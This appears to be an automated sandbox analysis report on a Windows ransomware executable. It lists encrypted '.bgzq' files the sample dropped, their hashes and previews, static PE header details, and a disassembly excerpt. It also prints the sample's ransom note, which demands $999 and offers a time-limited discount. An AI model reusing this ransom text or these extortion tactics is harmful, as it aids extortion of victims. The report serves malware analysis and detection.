Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.326630643268876
Encrypted:	false
SSDEEP:	6:l2ItmLld4cQIkO3uD7TQhFFTE98TdvClakAufH7J2GVSFQMzjhPcii96Z:UI4IbIanTQhFFsK2wqJ2GMFQejVcii9a
MD5:	BC985CD02257633AE4BD03B6BA286EA6
SHA1:	08760669FD6ABC6DA1F545AF501C55B40490CDB5
SHA-256:	A288E3AEF9FC78BD17654114405C6B13D347F7D0AE6D35B35DEE9244BBB5D1B3
SHA-512:	701C79E3D27D909B2212F74913628B7AD6A7075CBA7D0750429076924E380B822D89B82F95A28B0BCB3FA2D9097AA79637C5C7AE02B3C26977CB9BC767181DA6
Malicious:	false
Preview:	CMMM .\|.&..V....}...%LB....:..i...l....V...-..]...w.m..%..n.x... x.x.=z.u...[.<......l;#..4..M.$.."X...c.!..............g.X.....bw..!........&+}......f..C....f.V..C.O.N..m..t....9_Lc...6....L.T...p5...v..WaC....o....$..7S.i..g."..?v...IO.[(.......t.m....yk... itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.284514521763856
Encrypted:	false
SSDEEP:	6:u85nEB6btSOvhqsN+dInO2RUAoYrX/o9pH1T4wzjhPcii96Z:u85neet9jN+XzAi9rNjVcii9a
MD5:	F0E74FEFFFF04F44A616915F42E5312D
SHA1:	AE88118DE8269C6F7CDB2AEF163E035364FAE42B
SHA-256:	74C457E2DBFD1021A3577EED35C1C91FEE8ED787E33DD9164F6E4F930BA14938
SHA-512:	47DB84189E693C617CD6CBACF6789C8557BE98DF6AFA1F091E573E70DBB3E57753154740497E61D098C44DBA6468360C1D5053022B7BD3B1785F4DBC9B989591
Malicious:	false
Preview:	CMMM ?)...M.'.....E....t+....n.K..my..]...6..WV.........E.B...4P02.uU.....&...k/..g.......Z.F.9.h.Tp..:A..'..I.Vn..p........m..k.f.l#._.\|.5~[.*$...p.".K..T......^e.`.O.t.0...s.3.Z......._.....8.y3a... Wi7..q..S6..#U....I&....e.........z..P....w...@c~..s.KYd.CVg..2....Tlitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.310221975724388
Encrypted:	false
SSDEEP:	6:c1rP2xYFHsLxNWo76LL8hoOILP2FxX8ZR0lE0LorPgOF5r1zjhPcii96Z:c16iGVNWo7EL8iOgP2FxMv0VLcPp5pj9
MD5:	A459F2F153EEFCA71AC6D6379B10642C
SHA1:	96C7EE65AE3288676DEB3BB24E725AECF62A5942
SHA-256:	25085005BAA084A93D82F607FF0B7AE7FFF1040909A67AD97FE0A6FC8DD4E2A1
SHA-512:	242B59A078113D45BAB91AE66DA5DD7BB749543B41206583084F8E766A526D8F256103589A92484CFE000D0F023CB41A0BA3A2126E73B5741A7D2D7AC996FE8B
Malicious:	false
Preview:	CMMM 0..b..+...;.iQ.%xZ.?7..s;m.R...6.j...w..............h.9..7....W.......o$..>c...l.+...0......-....9z..(.@.v..Gs.;v-.}........'4(C......2....M.. .....G\..U..?.)I......D=+..I_`...xz..t.L....N....p........h.g...V....-..U\|...s.W.sYt.Z......:7....(.H.Y..VI..J.5.S.K..*....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256492105948196
Encrypted:	false
SSDEEP:	6:ITzXMVs8VOucGUKbkv+8B46mfC2oyOkGJsb9SE75JJzpSmxwjZh+a1MzjhPcii9a:ITqVG0fGsGdsb8E75npSz+OejVcii9a
MD5:	F112E40E87E7D59E927252B88E0EF06D
SHA1:	D05C905944F5F5C749403E5097DAC3CA62610197
SHA-256:	6AEF3E0B6969A7EDEC4FFDF50CC69488ED29BC2AD4F78E7341F544818919C086
SHA-512:	54DB403988F312CEF20EA5EEF165DFA1215ADDA59ED15B829651A94A5C85E5F0DDAC25C11F04B9E673C64018925C9445260B937F69F43BDEFF56ADEEA58DD544
Malicious:	false
Preview:	CMMM _..J.Q...)..w....@.O...-.\......nn.!.x.....h..#6.%.K..........u6...oe....}.....C9.....YR.6.].nr.p...Rpt.de..2&.\|.ayn.P.T...9..Q..6......~..9...H.T(xPu..;=.,.g..O.-...,..x...Cu.#.?..E.nJ..i...}.[.w...c..TA....$tw.X...?.?...]x..b!...0.`.2.D5..^7?..Fnh\|?8...h..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2652309825784736
Encrypted:	false
SSDEEP:	6:6m0vMP8QIOgOxuh3dXXkfh9Nc+BrsEyDl60U4bQwfHnqKdStJvt4BzjhPcii96Z:6zUBgoul5mXcHpDhhbQwfRdSjl45jVcq
MD5:	505963DA4BF4E0D062BDCDD183903CF2
SHA1:	159B2F95425B11988638FFD608D8D929DA8F6FE7
SHA-256:	8F02D2378B0BD3B7053E6DF05BFC221169BCAECB6DE19E69D43C83521E38AE45
SHA-512:	A49AE893EA975D1DF7A1C47A33D2CCEA35CDFBB6BD9E22918E4AB4250D5527C06486FF084AEEB09DA433A633B5FCC6C109C8AD27427E6995A3E7FBF488CCCE2E
Malicious:	false
Preview:	CMMM _.oz.._l.JC......$.MueB,.F=l..L..JH ...A...p..q..!.DP\]..v2sb."..n..H.+N.}.6.C.S..(....v..%5.....k....e..3......]......Y,....h...$..w.&%S...:../..i........,W...n.&......Ps..Y..@..0...Bv:.FAM..{{.s....]..X.}.]u.........>.........\|...+..y.f.V.>.O.........L ....JQitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.228603872515245
Encrypted:	false
SSDEEP:	6:IdQRGdldvh6GwjAlT4hvzhe+YF07KjzMHoa8NMqj5QMzjhPcii96Z:gbdldZ3wEt/+Y+hItmOiejVcii9a
MD5:	06C5D1EC737457D6CC2A0DDE251D3850
SHA1:	F35F69CF851044CB9217E371671BC62A2C2EF3EB
SHA-256:	20AE889DB05BCF5C52A17F318C7AB51251DB1F8E7F580BE1837EB484E991F7C6
SHA-512:	6D7D1278D23756102D767CA30447A1E04AE493C94F37981B9C1C20AC21AFB6AC6EA4037731FB6076DA243F5C77174F7F1D9CE017CA5E7A568FFBC5419EAEC634
Malicious:	false
Preview:	CMMM h.6.4.M..I85IYK.>c..X1...r..=U=....m.."....x..7..}..c....2f0>&.b_?.(?..$....h.b(.....b.D..=..GN~..+..'U.......^.Q...d.6....6',".9.......AXt.$_.._yY.Orm.Y..(3.rC.s...........;..!.g..g8bk..^o-..@U.c.....@.Bo....\|...}....+..Q.tU.!.)5...N.I.7....>E%9..f..N.8.j.a...S-..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.328395823284937
Encrypted:	false
SSDEEP:	6:qpOgg0aAmcDCk24t6LJ922gtoFf7vV0s2j1ZKkgOu2y1H1zjhPcii96Z:qJg0auDJHAJ922gcTd0s2XKplVHjVciD
MD5:	923A29CDA5B874EA693B0FFD4102CE20
SHA1:	DFA10D2ECF8C76A3E469A79544FEE4CE4B6D7211
SHA-256:	5379E5D71CE6970B3FD39E086AC4755D78BF3D3E890AD6484027826D4E3C7796
SHA-512:	A9FCABD8EA5EBC1FB26E04379D61DDB2E536332C287B596886430B486570D90ABB3A66CEBBD8B0B9E4C517166DA08F7AB1163E5161BD2756E337E880E51E4528
Malicious:	false
Preview:	CMMM ).L.&.#.>..H..._\..Ji"..zhH..y.a..............PbI>..m[.9\|.jJ.p7Cvl...zW.G..Qd.9=.$..=y`...........G.7.#N..?{...[.e.Wu.N..u...\..U..4L...n..........}..D._.....GZ.....~TOm!......0I0...S=g@...U.......F.C..~v......N.G.r.]P.IH..:....W!;s...3..#.W8..8.U..y.t..7..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.338065020581427
Encrypted:	false
SSDEEP:	6:pXaCefFbxr3OjxPDTpA9Y3egs6iJJ50GvmTcZhqF4rM0YQUqrmgCIt5azjhPciik:JJefvSxbTpAOu3JlmshlM0YQ7rNVGjVX
MD5:	CC81410933F818650305F5A2664CDD44
SHA1:	90525C8DFA2E6DC3F752BAE209766CB776AC7D8B
SHA-256:	9E5DB0C3596F66282D730C591C837A3E6C5ADD5F310616BBC3F29D755B3110B9
SHA-512:	177684020A22E07D18F105C33B57453619CF7D6AEB4C5F810F9236F1AFB7A82F92EA630F7D3DBD0FCEBD35116784D5A816625088A3D5BA72BC40215F340E2CCC
Malicious:	false
Preview:	CMMM T....S..=x:=....3U. ..f....V.....>iA....k...F+......Y.bj[.d..KB.h.a....s5...bi.............#..Y:.......w.3......!5.....mf+...{....>7..p.....m...RiU..........a.r...{..#........p..n.A..Tk.._.Y....<...A8'.+.[.%K........U.^:.68.V6.92SO.....W?..?(.S.........n#..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768793709269632
Encrypted:	false
SSDEEP:	3072:PjBAi+BvAdlqz3gIS+rnWfqggSzEfWnmkukCaD4v/hiqFIu:VYqlspBC5gvWnWkPDKJisv
MD5:	BE16B9175C6696BC2BB02C7961E21B56
SHA1:	753DA0B5E791FF52D689699B2C40CD3D329051A9
SHA-256:	53460FB0348FD7F5CCD3F4FB2DA08882EFB7C95115A6F74D1E77DEA9A22BB9BC
SHA-512:	F8C90EC8BF0B4622D461993F7F38BAD64698986B1F939C26E1080F4C5C848BD8F1C084BF6310D92372FE97CE3AB4437E1851D200EBDEBA2B1BE14A4B245F9820
Malicious:	false
Preview:	CMMM ..7,E.bk..a..W.M%~.........Z.S(,....b.N1.O4.....!....^;.&>..i...w.^.k..V.i..\..5....X....R.]......=Z...}.9.G.xG.L[.I.t..m1...\,.e.\....!uM[`..............`O......].!b.'.M..-..PP.1M.N..O.B3..-..D.....?H...TUr..;....y....LY#.@...>...x....[._...Jg........l.~.O.....\.M.yll.....`.....Jg...,.......Jb...$]....@.a...I...z....[....Q..Oo...-kE.0..ls...F\..T.z~..(......-...[y-...x%...H.r...\|pE.XTF...aN...w...j....&A.....kG..].......r./..:.....Yxn.....A...Z.....F.Ar]$C.... ..9.j1V/F#Uhi.......3H[.gs.`1...1\| .5..a<....;9tD....(...s.1....B,Y...G..&S.Vr...p,..V...g.g.. l.Q.....Q..Q..p...G.#%.Q/C..6...wQ....Z....y.J.`...?.b.....N4..h..$.f=.6>U.g...._...(_].L..]....n.....Z.u.%.%m`.:MC.t=..r.0........<...X.j.>....k..8...........>@&....z....1..hN._...a0.Z..U..b<TE.b1((U..v.!Us7....=...`x0.ec.'oy.r.Tu.,....y.:..}W........p......17....\...q,~I...........H 6.R..L#t..0..W`...........'.H$.\|h.>.2....$j.&v.Zr...z.%.9....Q.2.+..(H)..>.Y<..M.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2624471068758965
Encrypted:	false
SSDEEP:	6:+xpaNL7pp8lamuC20DKdRsi8bvuBMP6vx2oEz519j/jyObuXK29E1zjhPcii96Z:+oLoAmuC9DOR18aBvImObMqNjVcii9a
MD5:	DC0315688E510D5F3084681168EDCAF9
SHA1:	F587800F233FA74EC83E998FEDD605B4C00E3CB2
SHA-256:	44919F3254872ECBC870796766292E0B04FD36A6686F276DDFF249DD43ADC650
SHA-512:	29F30D7EB08BDF732C21BDE231EF9FA2A8481DB87D05DF3DE527BBC42B742C446C5FDB9AA50B25F417AAD8D105A90790E9018DCD0A6FF23EA2A7A8337ACC42DE
Malicious:	false
Preview:	CMMM .YRY.3J]......*4........"4.9M.P....&.....:.t.?.M..,.h....s.7.e.Lm..W..C.Z.L......z.->6.Rt.c&.7%n.~t.r...K..V...u.7.8.W..vU/Q&J.1^ ...VKVd.r.q.Y..z.\......}....M..r>.".j`.#.......P.(...[P,/m...%?r...Q.....u.c3R.j...LL......u.:.W...O...3'...........O...&..C.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.991416023483854
Encrypted:	true
SSDEEP:	384:ik4HbDscBUnr0U4size3Jffj86Fr24z4mCZgHshsRtIz8yY1Vd3bjHB:il/HUrN3VbRFrNZzHeVWVdrjh
MD5:	AB64D69CC48135D03872A82D464EF201
SHA1:	F62DDB9DB1F7CBFB951AFDAA055F886D729EB15C
SHA-256:	915C65E26EDE706343BBB1477CDD4305C65340D4C756EC40D1F76D93350804B6
SHA-512:	6CEE349FB69612AD0C1A18DA5935D70FEACB5056F87D8888C6D6CE8DB2BAF13FDB56FDDA545689E61AFA81FD2623EF7703C96F40D12106373DF6712384DC6BB3
Malicious:	true
Preview:	.....(.T#oigfv<.j.q.1.\|..t....r...3e.j.r4.CIL.x-k./.9.._YB..D.=..m.g..q..V.7+.O.o....+.I..7$......<d..;......?.V...g...9..8i`Y..<6..iP..._...e.[.......bn<a...B..-.@.vGw.B..e7^.!..?..Z.V<.....b.h}...a..3~.~?.b.V.][..K.E..W...X.$x..-... @...W.>.1-....wLi.....n.:...3m..:r.g,...v....>n.G.J.oj....aK...=Zh.Jm...].......w.pga;H\..G.}......+.w@).Zy....I..a/....FO.G...,.>.z..,.c.P.....C..@..a.{5....U..%.A../...W..y.~...@...6.. 7.....aU__.r.....N8..l...<..X.zq.g.%.>.3.q... ......y.a...%H....q&.YIv....\|l..P..c..y....9...{..Sq.W....G.s....<.3.w.~.&~.u.;...ct/...`........k8.A..syW.!oQ.j?.`m.>X.\|[.k.....E.:.......+.S...).....\|N.`..J..S..)....8.*..Z.....`e.P..)..n........J.,.}.f..I.b...j'"...Z..q.04...........1.x..#.e.g.....j7...\|A4..T...j....D..Ji..k1}.....;.X...2....,.........:.j.u......V.edj...@.a.V.D$.m.2.F..=....h......./.q(?.&7;EF...#=l.....j..5#.q\|.`....W.......c....F....._...j:,W&t-..\|..S.j".P.....,.&...L{.m.....I........@+.Z.I..UY-..../

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.993229327679198
Encrypted:	true
SSDEEP:	384:hV/nkG9v/QYheVrUA13Ewb8ZA8fFyKJ9fJYKN2k11++mPLID9ChFP+MbKjdNST4V:L/n39QYheVrUtxZA8foyZlYkf+J/Prbo
MD5:	5C3F0271F5C4C3B7FF9CAE189BBD188E
SHA1:	17FB435D0786D529849BD87761774758129D7EC4
SHA-256:	0A14F76CAB9CCF61FDAB99F2BD2058764E0FBA2EBDE71BD60B659DD3737B1B68
SHA-512:	55783308B62C822AC35353205F732E65CBC78D44DBA3B2BF90B65549945F7FB098F7DBFB4093F317152F6F485F508DB49F1F38F0A003A0F7F9774ED95A56FD85
Malicious:	true
Preview:	03-10.].g.9..nuM....3/.M....I...D.S...Nb.@..)..0.s3_.7.3..A.G..tQ.Y..Cg<....g\.cy..s..}.......B..II.`..%3.:.+.#..}]..#4..].>..(Q..9..o....H..m..w.pY......~8kW....%H~....lp.T.}...;....).{ZW.....n.X..O...?O3.r..g......7aoS.....Gw......Q..O.A....`.]......5=..d......D.0m.Y.. ...^88...r..;.U(..E.N2...\u....N\v.J...M.#.z._..+......~...._..$..n\.`...b.J.n.>.o.$....1..u\|.e.d.u.....X.W.Z.......hW...ZB.....A:...........;.0.IT.y.[.+9...L.TP....2.....<2L..Q..M>..:....b.d)`..c..2...+&f8E.....{....-.S.di.d.?i\|C..l[.......6qu..c....tT.~so. ..P...;..&.:.1..)..f@.V.....O.H71H.s...}w.... \|N.W...l.o;....x.A!.g8Y.gZ.\K...3.Y.w...f.+...2+k.*.$.%.1..G.ST.#5:.....U'..v.g.FZ..(..q.[....[.............(...I.....kwk[....ab.U......Ec"p.....;..]K...n...E,...BHc......S..v.....:.u.......;d.$w.xO...b.A..j....}..7$.e..D..'.l.b...M.j...&.G3.=.(OOs..u....K..i w....T.O+..T.N+....!..F&c2...s...\|.l...,.....p.4.......`...........>W8..v..z..G.........g.fN..p..e.Y......}d.@..a..;.A

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.814031604331213
Encrypted:	false
SSDEEP:	24:4dVkmUj7wzIc8rStQPn/0Q4bPlzf6aPRtugoYcMHGOVbD:a9cwzMMQP/Azf6ougp5GOFD
MD5:	3D9D09FBD20CA7801712A245DE8DBBC4
SHA1:	58E70FE21536D1ADA7D045FD9CC3F76996FC449C
SHA-256:	65DAEA0ED5597C9253BEA0EA1233107828BC841001477A7A0E3FC04BD67F386F
SHA-512:	7F8DBF2F648109C482DB254F586176C5A555FA39FDA76D414FDAFF0D4FDFB608C4A5388E7A2C5FC812E61F62806405250566871FD9BEAE9B5CABDA4B6CE5E0DF
Malicious:	false
Preview:	<?xml....C.=U.gc.....\g..hxkj...\|.R.f.>"...e.F-...iG.Xh..aC4o2....`...!..!.G9..$.(..a..Z_b(i....=T)..-2j......\|v...l....#b..n.O..#..Xf.f.x..h..~.e4.f.Uz....G...5..I".V.t.Z._4....6.c...E.OCE_.;i@UF2..\KZ.......j...G....8.4...W..X.tP..c.~...=.._{......`.?.&S.0..;...e...........!1.l6...!:y..77.......8.)8.........f..;S..'...\.8.3. 6j.]E....oG..pl.Vn....d...n.duhPh%V...j#T...&.6J...?........G..L..]5.G)...n..S..Iry.(o....3.?...N..)....~X..b.7....P.5.....w._}].1A._..Il.MYE.....@h....VV..C..u3XzbM2u.h.....Z...C@........}.1..Y...%.....;.R...6.S.q^J"qx`..\.7.bdE.R.ga..X.?D..I.~~....-O4...l....R7.....y..C.Pgt.=.&,~.Hy.H..1.%v55SH....>o......5...59..=]["1.n%...J.8.n.xu?n.V..5.~.........R..!&.u...Bv.....J.....,2.#..d.......+.....F.......q7..........V=...G..8..H....+...`.H../..N...y.x.Q....*.:....c.@.g.GH,w3n.s...6.... ._..."3..L...O.).B...;..fj~..........m..3....B.{k,..~.....gA.....Gt.....4....&.P.{...(...Rx.8..T....u/<.E..\|9...7.x.g#q

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.814031604331213
Encrypted:	false
SSDEEP:	24:4dVkmUj7wzIc8rStQPn/0Q4bPlzf6aPRtugoYcMHGOVbD:a9cwzMMQP/Azf6ougp5GOFD
MD5:	3D9D09FBD20CA7801712A245DE8DBBC4
SHA1:	58E70FE21536D1ADA7D045FD9CC3F76996FC449C
SHA-256:	65DAEA0ED5597C9253BEA0EA1233107828BC841001477A7A0E3FC04BD67F386F
SHA-512:	7F8DBF2F648109C482DB254F586176C5A555FA39FDA76D414FDAFF0D4FDFB608C4A5388E7A2C5FC812E61F62806405250566871FD9BEAE9B5CABDA4B6CE5E0DF
Malicious:	false
Preview:	<?xml....C.=U.gc.....\g..hxkj...\|.R.f.>"...e.F-...iG.Xh..aC4o2....`...!..!.G9..$.(..a..Z_b(i....=T)..-2j......\|v...l....#b..n.O..#..Xf.f.x..h..~.e4.f.Uz....G...5..I".V.t.Z._4....6.c...E.OCE_.;i@UF2..\KZ.......j...G....8.4...W..X.tP..c.~...=.._{......`.?.&S.0..;...e...........!1.l6...!:y..77.......8.)8.........f..;S..'...\.8.3. 6j.]E....oG..pl.Vn....d...n.duhPh%V...j#T...&.6J...?........G..L..]5.G)...n..S..Iry.(o....3.?...N..)....~X..b.7....P.5.....w._}].1A._..Il.MYE.....@h....VV..C..u3XzbM2u.h.....Z...C@........}.1..Y...%.....;.R...6.S.q^J"qx`..\.7.bdE.R.ga..X.?D..I.~~....-O4...l....R7.....y..C.Pgt.=.&,~.Hy.H..1.%v55SH....>o......5...59..=]["1.n%...J.8.n.xu?n.V..5.~.........R..!&.u...Bv.....J.....,2.#..d.......+.....F.......q7..........V=...G..8..H....+...`.H../..N...y.x.Q....*.:....c.@.g.GH,w3n.s...6.... ._..."3..L...O.).B...;..fj~..........m..3....B.{k,..~.....gA.....Gt.....4....&.P.{...(...Rx.8..T....u/<.E..\|9...7.x.g#q

C:\Users\user\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.887762912110015
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3s:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kX
MD5:	4CA4E4C152E163E27BF40545F832D28C
SHA1:	592F8EF320B0E69D9189B58D5AB27C71E4B95AB1
SHA-256:	B6847672C899A968614A625608176BA8AD3FDA8A6A442E2BE5D15458BF803C0C
SHA-512:	AE7C8050529F42785A1E8523524E23372DED4AA0C7D5B4425F83B7C744503C15EEFF12B404289F1D9CEAED64FA38362B7BC45B40A1C208B4F094B22FBAF76CBB
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.7022686862860406
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	lzShU2RYJa.exe
File size:	781'312 bytes
MD5:	106c2cfb1162fc8fe3cef0958474f1c3
SHA1:	c63e3e70248ac3dbd45cd2a6d51a55e9747fd6e4
SHA256:	0e40646d6311552a7f6e7a386a06421d97de655f65b099e455cf22db10afd746
SHA512:	aeb7d480088432d79ae6f963819e07c6119a90fd8a684887336fccbef1f43d8ace838c0862128709dc3daf527a75658c67618cf399eef8b4e2863189ae3d7557
SSDEEP:	12288:IWYUVmfw2hn7uv+uZARVOAzft8cC1yn1j8Se+isLF6JiPvt6KfGfxKno:1MfNhnGWRHzfGSn1S+isLF6Jgvt6K+fj
TLSH:	53F412027EE1A865E963C33118A09D51C53AFCB55730C9BB374C194E4E796C08ABFBB9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bD}~&%.-&%.-&%.-+w.-8%.-+w.-Y%.-+w.-.%.-/].-!%.-&%.-I%.-...-'%.-+w.-'%.-...-'%.-Rich&%.-........................PE..L.....&d...

File Icon


Icon Hash:	412945454549610d

Static PE Info

General

Entrypoint:	0x4042cf
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64269706 [Fri Mar 31 08:17:10 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	dbc480346b6d3d9e89c5339bb11a03d5

Entrypoint Preview

Instruction
call 00007F2CE5059AFCh
jmp 00007F2CE5054045h
push 00000014h
push 00419A08h
call 00007F2CE50564B0h
call 00007F2CE5059CCDh
movzx esi, ax
push 00000002h
call 00007F2CE5059A8Fh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F2CE5054046h
xor ebx, ebx
jmp 00007F2CE5054075h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F2CE505402Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F2CE505401Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F2CE505404Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F2CE50556E5h
test eax, eax
jne 00007F2CE505404Ah
push 0000001Ch
call 00007F2CE5054121h
pop ecx
call 00007F2CE505968Dh
test eax, eax
jne 00007F2CE505404Ah
push 00000010h
call 00007F2CE5054110h
pop ecx
call 00007F2CE5059B08h
and dword ptr [ebp-04h], 00000000h
call 00007F2CE50574F1h
test eax, eax
jns 00007F2CE505404Ah
push 0000001Bh
call 00007F2CE50540F6h
pop ecx
call dword ptr [004120BCh]
mov dword ptr [040A0D84h], eax
call 00007F2CE5059B23h
mov dword ptr [004B32ECh], eax
call 00007F2CE50596E0h
test eax, eax
jns 00007F2CE505404Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19e14	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca1000	0xd808	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x12200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x19330	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
